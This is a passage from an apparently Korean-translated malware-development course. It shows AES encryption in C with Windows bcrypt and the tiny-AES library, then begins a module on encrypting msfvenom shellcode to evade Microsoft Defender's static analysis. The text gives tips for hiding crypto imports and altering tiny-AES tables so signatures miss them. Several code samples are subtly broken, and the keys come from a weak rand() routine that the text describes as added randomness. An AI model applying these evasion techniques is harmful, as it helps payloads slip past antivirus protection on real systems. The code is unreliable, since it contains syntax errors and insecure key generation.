        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
      // Allocating memory for the key object
      pbKeyObject = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbKeyObject);
      if (pbKeyObject == NULL) {
        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
      // Setting Block Cipher Mode to CBC. This uses a 32 byte key and a 16 byte IV.
      STATUS = BCryptSetProperty(hAlgorithm, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
      if (!NT_SUCCESS(STATUS)) {
        	printf("[!] BCryptSetProperty Failed With Error: 0x%0.8X \n", STATUS);
        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
      // Generating the key object from the AES key "pAes->pKey". The output will be saved in pbKeyObject of size cbKeyObject
      STATUS = BCryptGenerateSymmetricKey(hAlgorithm, &hKeyHandle, pbKeyObject, cbKeyObject, (PBYTE)pAes->pKey, KEYSIZE, 0);
      if (!NT_SUCCESS(STATUS)) {
        	printf("[!] BCryptGenerateSymmetricKey Failed With Error: 0x%0.8X \n", STATUS);
        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
      // Running BCryptDecrypt first time with NULL output parameters to retrieve the size of the output buffer which is saved in cbPlainText
      STATUS = BCryptDecrypt(hKeyHandle, (PUCHAR)pAes->pCipherText, (ULONG)pAes->dwCipherSize, NULL, pAes->pIv, IVSIZE, NULL, 0, &cbPlainText, BCRYPT_BLOCK_PADDING);
      if (!NT_SUCCESS(STATUS)) {
        	printf("[!] BCryptDecrypt[1] Failed With Error: 0x%0.8X \n", STATUS);
        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
      // Allocating enough memory for the output buffer, cbPlainText
      pbPlainText = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbPlainText);
      if (pbPlainText == NULL) {
        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
      // Running BCryptDecrypt again with pbPlainText as the output buffer
      STATUS = BCryptDecrypt(hKeyHandle, (PUCHAR)pAes->pCipherText, (ULONG)pAes->dwCipherSize, NULL, pAes->pIv, IVSIZE, pbPlainText, cbPlainText, &cbResult, BCRYPT_BLOCK_PADDING);
      if (!NT_SUCCESS(STATUS)) {
        	printf("[!] BCryptDecrypt[2] Failed With Error: 0x%0.8X \n", STATUS);
        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
      // Clean up
    _EndOfFunc:
      if (hKeyHandle)
        	BCryptDestroyKey(hKeyHandle);
      if (hAlgorithm)
        	BCryptCloseAlgorithmProvider(hAlgorithm, 0);
      if (pbKeyObject)
        	HeapFree(GetProcessHeap(), 0, pbKeyObject);
      if (pbPlainText != NULL && bSTATE) {
            // if everything went well, we save pbPlainText and cbPlainText
            pAes->pPlainText   = pbPlainText;
            pAes->dwPlainSize  = cbPlainText;
      }
      return bSTATE;
    
    }

    추가 도우미 기능

    이 코드에는 두 개의 작은 헬퍼 함수인 PrintHexData와 GenerateRandomBytes도 포함되어 있습니다.

    첫 번째 함수인 PrintHexData는 입력 버퍼를 C 구문으로 된 문자 배열로 콘솔에 출력합니다.

    // Print the input buffer as a hex char array
    VOID PrintHexData(LPCSTR Name, PBYTE Data, SIZE_T Size) {
    
      printf("unsigned char %s[] = {", Name);
    
      for (int i = 0; i < Size; i++) {
        	if (i % 16 == 0)
          	    printf("\n\t");
    
        	if (i < Size - 1) {
                printf("0x%0.2X, ", Data[i]);
        	else
          	    printf("0x%0.2X ", Data[i]);
      }
    
      printf("};\n\n\n");
    
    }

    다른 함수인 GenerateRandomBytes는 입력 버퍼를 임의의 바이트로 채우는데, 이 경우 임의의 키와 IV를 생성하는 데 사용됩니다.

    // Generate random bytes of size sSize
    VOID GenerateRandomBytes(PBYTE pByte, SIZE_T sSize) {
    
      for (int i = 0; i < sSize; i++) {
        	pByte[i] = (BYTE)rand() % 0xFF;
      }
    
    }

    패딩

    InstallAesEncryption과 InstallAesDecryption 함수는 각각 BCryptEncrypt 및 BCryptDecrypt bcrypt 함수와 함께 BCRYPT_BLOCK_PADDING 플래그를 사용하여 필요한 경우 입력 버퍼를 16바이트의 배수가 되도록 자동으로 패딩하여 AES 패딩 문제를 해결합니다.

    주요 기능 – 암호화

    아래의 주요 함수는 일반 텍스트 데이터 배열에 대한 암호화 루틴을 수행하는 데 사용됩니다.

    // The plaintext, in hex format, that will be encrypted
    // this is the following string in hex "This is a plain text string, we'll try to encrypt/decrypt !"
    unsigned char Data[] = {
    	0x54, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x61, 0x20, 0x70, 0x6C,
    	0x61, 0x69, 0x6E, 0x20, 0x74, 0x65, 0x78, 0x74, 0x20, 0x73, 0x74, 0x72,
    	0x69, 0x6E, 0x67, 0x2C, 0x20, 0x77, 0x65, 0x27, 0x6C, 0x6C, 0x20, 0x74,
    	0x72, 0x79, 0x20, 0x74, 0x6F, 0x20, 0x65, 0x6E, 0x63, 0x72, 0x79, 0x70,
    	0x74, 0x2F, 0x64, 0x65, 0x63, 0x72, 0x79, 0x70, 0x74, 0x20, 0x21
    };
    
    int main() {
    
    	BYTE pKey [KEYSIZE];                    // KEYSIZE is 32 bytes
    	BYTE pIv [IVSIZE];                      // IVSIZE is 16 bytes
    
    	srand(time(NULL));                      // The seed to generate the key. This is used to further randomize the key.
    	GenerateRandomBytes(pKey, KEYSIZE);     // Generating a key with the helper function
    
    	srand(time(NULL) ^ pKey[0]);            // The seed to generate the IV. Use the first byte of the key to add more randomness.
    	GenerateRandomBytes(pIv, IVSIZE);       // Generating the IV with the helper function
    
    	// Printing both key and IV onto the console
    	PrintHexData("pKey", pKey, KEYSIZE);
    	PrintHexData("pIv", pIv, IVSIZE);
    
    	// Defining two variables the output buffer and its respective size which will be used in SimpleEncryption
    	PVOID pCipherText = NULL;
    	DWORD dwCipherSize = NULL;
    
    	// Encrypting
    	if (!SimpleEncryption(Data, sizeof(Data), pKey, pIv, &pCipherText, &dwCipherSize)) {
    		return -1;
    	}
    
    	// Print the encrypted buffer as a hex array
    	PrintHexData("CipherText", pCipherText, dwCipherSize);
    
    	// Clean up
    	HeapFree(GetProcessHeap(), 0, pCipherText);
    	system("PAUSE");
    	return 0;
    }

    주요 기능 – 암호 해독

    아래의 주요 함수는 암호 해독 루틴을 수행하는 데 사용됩니다. 암호 해독 루틴에는 암호 해독 키, IV 및 암호 텍스트가 필요합니다.

    // the key printed to the screen
    unsigned char pKey[] = {
    		0x3E, 0x31, 0xF4, 0x00, 0x50, 0xB6, 0x6E, 0xB8, 0xF6, 0x98, 0x95, 0x27, 0x43, 0x27, 0xC0, 0x55,
    		0xEB, 0xDB, 0xE1, 0x7F, 0x05, 0xFE, 0x65, 0x6D, 0x0F, 0xA6, 0x5B, 0x00, 0x33, 0xE6, 0xD9, 0x0B };
    
    // the iv printed to the screen
    unsigned char pIv[] = {
    		0xB4, 0xC8, 0x1D, 0x1D, 0x14, 0x7C, 0xCB, 0xFA, 0x07, 0x42, 0xD9, 0xED, 0x1A, 0x86, 0xD9, 0xCD };
    
    
    // the encrypted buffer printed to the screen, which is:
    unsigned char CipherText[] = {
    		0x97, 0xFC, 0x24, 0xFE, 0x97, 0x64, 0xDF, 0x61, 0x81, 0xD8, 0xC1, 0x9E, 0x23, 0x30, 0x79, 0xA1,
    		0xD3, 0x97, 0x5B, 0xAE, 0x29, 0x7F, 0x70, 0xB9, 0xC1, 0xEC, 0x5A, 0x09, 0xE3, 0xA4, 0x44, 0x67,
    		0xD6, 0x12, 0xFC, 0xB5, 0x86, 0x64, 0x0F, 0xE5, 0x74, 0xF9, 0x49, 0xB3, 0x0B, 0xCA, 0x0C, 0x04,
    		0x17, 0xDB, 0xEF, 0xB2, 0x74, 0xC2, 0x17, 0xF6, 0x34, 0x60, 0x33, 0xBA, 0x86, 0x84, 0x85, 0x5E };
    
    int main() {
    
    	// Defining two variables the output buffer and its respective size which will be used in SimpleDecryption
    	PVOID	pPlaintext  = NULL;
    	DWORD	dwPlainSize = NULL;
    
    	// Decrypting
    	if (!SimpleDecryption(CipherText, sizeof(CipherText), pKey, pIv, &pPlaintext, &dwPlainSize)) {
    		return -1;
    	}
    
    	// Printing the decrypted data to the screen in hex format
    	PrintHexData("PlainText", pPlaintext, dwPlainSize);
    
    	// this will print: "This is a plain text string, we'll try to encrypt/decrypt !"
    	printf("Data: %s \n", pPlaintext);
    
    	// Clean up
    	HeapFree(GetProcessHeap(), 0, pPlaintext);
    	system("PAUSE");
    	return 0;
    }

    bCrypt 라이브러리의 단점

    위에서 설명한 방법을 사용하여 AES 암호화를 구현할 때의 주요 단점 중 하나는 암호화 WinAPI를 사용하면 바이너리의 가져오기 주소 테이블(IAT)에 해당 기능이 표시된다는 것입니다. 보안 솔루션은 IAT를 스캔하여 암호화 기능의 사용을 감지할 수 있으며, 이는 잠재적으로 악의적인 행동을 나타내거나 의심을 불러일으킬 수 있습니다. IAT에서 WinAPI를 숨기는 것은 가능하며 향후 모듈에서 논의될 예정입니다.

    아래 이미지는 AES 암호화를 위해 Windows API를 사용하는 바이너리의 IAT를 보여줍니다. crypt.dll 라이브러리와 암호화 기능의 사용법을 명확하게 확인할 수 있습니다.

    Tiny-AES 라이브러리를 사용한 AES

    이 섹션에서는 WinAPI를 사용하지 않고 AES 암호화를 수행하는 타사 암호화 라이브러리인 tiny-AES-c를 사용합니다. Tiny-AES-C는 C에서 AES128/192/256을 수행할 수 있는 작은 휴대용 라이브러리입니다.

    Tiny-AES 설정

    Tiny-AES를 사용하려면 두 가지 요구 사항이 있습니다:

    1. 프로젝트에 aes.hpp (C++)를 포함하거나 aes.h (C)를 포함하세요.
    2. 프로젝트에 aes.c 파일을 추가합니다.

    Tiny-AES 라이브러리의 단점

    코드를 살펴보기 전에 작은 AES 라이브러리의 단점을 알아두는 것이 중요합니다.

    1. 라이브러리는 패딩을 지원하지 않습니다. 모든 버퍼는 16바이트의 배수여야 합니다.
    2. 라이브러리에 사용된 배열은 보안 솔루션에서 서명하여 Tiny-AES의 사용을 감지할 수 있습니다. 이러한 배열은 AES 알고리즘을 적용하는 데 사용되므로 코드에 반드시 포함되어야 합니다. 그렇지만 보안 솔루션이 Tiny-AES의 사용을 감지하지 못하도록 서명을 수정할 수 있는 방법이 있습니다. 한 가지 가능한 해결책은 이러한 배열을 XOR하는 것입니다. 예를 들어 초기화 함수인 AES_init_ctx_iv를 호출하기 직전에 런타임에 배열을 해독하는 것입니다.

    커스텀 패딩 기능

    패딩 지원 부족은 아래 코드 스니펫에 표시된 대로 사용자 정의 패딩 함수를 생성하여 해결할 수 있습니다.

    BOOL PaddBuffer(IN PBYTE InputBuffer, IN SIZE_T InputBufferSize, OUT PBYTE* OutputPaddedBuffer, OUT SIZE_T* OutputPaddedSize) {
    
    	PBYTE	PaddedBuffer        = NULL;
    	SIZE_T	PaddedSize          = NULL;
    
    	// calculate the nearest number that is multiple of 16 and saving it to PaddedSize
    	PaddedSize = InputBufferSize + 16 - (InputBufferSize % 16);
    	// allocating buffer of size "PaddedSize"
    	PaddedBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, PaddedSize);
    	if (!PaddedBuffer){
    		return FALSE;
    	}
    	// cleaning the allocated buffer
    	ZeroMemory(PaddedBuffer, PaddedSize);
    	// copying old buffer to new padded buffer
    	memcpy(PaddedBuffer, InputBuffer, InputBufferSize);
    	//saving results :
    	*OutputPaddedBuffer = PaddedBuffer;
    	*OutputPaddedSize   = PaddedSize;
    
    	return TRUE;
    }

    Tiny-AES 암호화

    모듈의 앞부분에서 bCrypt 라이브러리의 암호화 및 복호화 프로세스에 대해 설명한 것과 유사하게, 아래 코드 조각은 Tiny-AES의 암호화 및 복호화 프로세스에 대해 설명합니다.

    #include <Windows.h>#include <stdio.h>#include "aes.h"// "this is plaintext string, we'll try to encrypt... lets hope everything goes well :)" in hex
    // since the upper string is 82 byte in size, and 82 is not mulitple of 16, we cant encrypt this directly using tiny-aes
    unsigned char Data[] = {
    	0x74, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x70, 0x6C, 0x61, 0x6E,
    	0x65, 0x20, 0x74, 0x65, 0x78, 0x74, 0x20, 0x73, 0x74, 0x69, 0x6E, 0x67,
    	0x2C, 0x20, 0x77, 0x65, 0x27, 0x6C, 0x6C, 0x20, 0x74, 0x72, 0x79, 0x20,
    	0x74, 0x6F, 0x20, 0x65, 0x6E, 0x63, 0x72, 0x79, 0x70, 0x74, 0x2E, 0x2E,
    	0x2E, 0x20, 0x6C, 0x65, 0x74, 0x73, 0x20, 0x68, 0x6F, 0x70, 0x65, 0x20,
    	0x65, 0x76, 0x65, 0x72, 0x79, 0x74, 0x68, 0x69, 0x67, 0x6E, 0x20, 0x67,
    	0x6F, 0x20, 0x77, 0x65, 0x6C, 0x6C, 0x20, 0x3A, 0x29, 0x00
    };
    
    
    
    int main() {
    	// struct needed for Tiny-AES library
    	struct AES_ctx ctx;
    
    
    	BYTE pKey[KEYSIZE];                             // KEYSIZE is 32 bytes
    	BYTE pIv[IVSIZE;                                // IVSIZE is 16 bytes
    
    
    	srand(time(NULL));                              // the seed to generate the key
    	GenerateRandomBytes(pKey, KEYSIZE);             // generating the key bytes
    
    	srand(time(NULL) ^ pKey[0]);                    // The seed to generate the IV. Use the first byte of the key to add more randomness.
    	GenerateRandomBytes(pIv, IVSIZE);               // Generating the IV
    
    	// Prints both key and IV to the console
    	PrintHexData("pKey", pKey, KEYSIZE);
    	PrintHexData("pIv", pIv, IVSIZE);
    
    	// Initializing the Tiny-AES Library
    	AES_init_ctx_iv(&ctx, pKey, pIv);
    
    
    	// Initializing variables that will hold the new buffer base address in the case where padding is required and its size
    	PBYTE	PaddedBuffer        = NULL;
    	SIZE_T	PAddedSize          = NULL;
    
    	// Padding the buffer, if required
    	if (sizeof(Data) % 16 != 0){
    		PaddBuffer(Data, sizeof(Data), &PaddedBuffer, &PAddedSize);
    		// Encrypting the padded buffer instead
    		AES_CBC_encrypt_buffer(&ctx, PaddedBuffer, PAddedSize);
    		// Printing the encrypted buffer to the console
    		PrintHexData("CipherText", PaddedBuffer, PAddedSize);
    	}
    	// No padding is required, encrypt 'Data' directly
    	else {
    		AES_CBC_encrypt_buffer(&ctx, Data, sizeof(Data));
    		// Printing the encrypted buffer to the console
    		PrintHexData("CipherText", Data, sizeof(Data));
    	}
    	// Freeing PaddedBuffer, if necessary
    	if (PaddedBuffer != NULL){
    		HeapFree(GetProcessHeap(), 0, PaddedBuffer);
    	}
    	system("PAUSE");
    	return 0;
    }
    

    Tiny-AES 복호화

    #include <Windows.h>#include <stdio.h>#include "aes.h"// Key
    unsigned char pKey[] = {
    		0xFA, 0x9C, 0x73, 0x6C, 0xF2, 0x3A, 0x47, 0x21, 0x7F, 0xD8, 0xE7, 0x1A, 0x4F, 0x76, 0x1D, 0x84,
    		0x2C, 0xCB, 0x98, 0xE3, 0xDC, 0x94, 0xEF, 0x04, 0x46, 0x2D, 0xE3, 0x33, 0xD7, 0x5E, 0xE5, 0xAF };
    
    // IV
    unsigned char pIv[] = {
    		0xCF, 0x00, 0x86, 0xE1, 0x6D, 0xA2, 0x6B, 0x06, 0xC4, 0x8B, 0x1F, 0xDA, 0xB6, 0xAB, 0x21, 0xF1 };
    
    // Encrypted data, multiples of 16 bytes
    unsigned char CipherText[] = {
    		0xD8, 0x9C, 0xFE, 0x68, 0x97, 0x71, 0x5E, 0x5E, 0x79, 0x45, 0x3F, 0x05, 0x4B, 0x71, 0xB9, 0x9D,
    		0xB2, 0xF3, 0x72, 0xEF, 0xC2, 0x64, 0xB2, 0xE8, 0xD8, 0x36, 0x29, 0x2A, 0x66, 0xEB, 0xAB, 0x80,
    		0xE4, 0xDF, 0xF2, 0x3C, 0xEE, 0x53, 0xCF, 0x21, 0x3A, 0x88, 0x2C, 0x59, 0x8C, 0x85, 0x26, 0x79,
    		0xF0, 0x04, 0xC2, 0x55, 0xA8, 0xDE, 0xB4, 0x50, 0xEE, 0x00, 0x65, 0xF8, 0xEE, 0x7C, 0x54, 0x98,
    		0xEB, 0xA2, 0xD5, 0x21, 0xAA, 0x77, 0x35, 0x97, 0x67, 0x11, 0xCE, 0xB3, 0x53, 0x76, 0x17, 0xA5,
    		0x0D, 0xF6, 0xC3, 0x55, 0xBA, 0xCD, 0xCF, 0xD1, 0x1E, 0x8F, 0x10, 0xA5, 0x32, 0x7E, 0xFC, 0xAC };
    
    
    
    int main() {
    
    	// Struct needed for Tiny-AES library
    	struct AES_ctx ctx;
    	// Initializing the Tiny-AES Library
    	AES_init_ctx_iv(&ctx, pKey, pIv);
    
    	// Decrypting
    	AES_CBC_decrypt_buffer(&ctx, CipherText, sizeof(CipherText));
    
    	// Print the decrypted buffer to the console
    	PrintHexData("PlainText", CipherText, sizeof(CipherText));
    
    	// Print the string
    	printf("Data: %s \n", CipherText);
    
    	// exit
    	system("PAUSE");
    	return 0;
    }

    Tiny-AES IAT

    아래 이미지는 WinAPI 대신 Tiny-AES를 사용하여 암호화를 수행하는 바이너리의 IAT를 보여줍니다. 바이너리의 IAT에는 암호화 기능이 표시되지 않습니다.

    결론

    이 모듈에서는 AES의 기본 사항을 설명하고 두 가지 작동하는 AES 구현을 제공했습니다. 또한 보안 솔루션이 암호화 라이브러리의 사용을 어떻게 감지하는지에 대한 아이디어가 있어야 합니다.


    20. 마이크로소프트 디펜더 정적 분석 회피

    Microsoft Defender 정적 분석 회피하기

    소개

    이 모듈은 Microsoft Defender의 정적 분석 엔진을 우회하기 위해 XOR, RC4 및 AES 암호화 알고리즘을 사용하는 예제를 제공합니다. 이 모듈의 이 시점에서는 페이로드가 실행되는 것이 아니라 단순히 콘솔에 출력되는 것뿐입니다. 따라서 이 모듈은 특히 정적/서명 회피에 초점을 맞출 것입니다.

    코드 샘플

    이 모듈에서 사용하는 4개의 코드 샘플을 다운로드할 수 있습니다. 각 코드 샘플은 Msfvenom 셸코드를 사용하고 있습니다.

    1. 원시 셸코드 – 방어자가 탐지
    2. XOR 암호화 셸코드 – 방어기 회피 성공
    3. AES 암호화 셸코드 – 디펜더 회피 성공
    4. RC4 암호화된 셸코드 – 디펜더 회피 성공

    아래 섹션에서는 실행 중인 바이너리와 Microsoft Defender의 응답을 보여줍니다. Microsoft Defender에는 C:\Users\MalDevUser\Desktop\Module-Code 폴더에 대한 제외가 미리 구성되어 있다는 점을 기억하세요.

    XOR 암호화

    AES 암호화

    RC4 암호화

    Share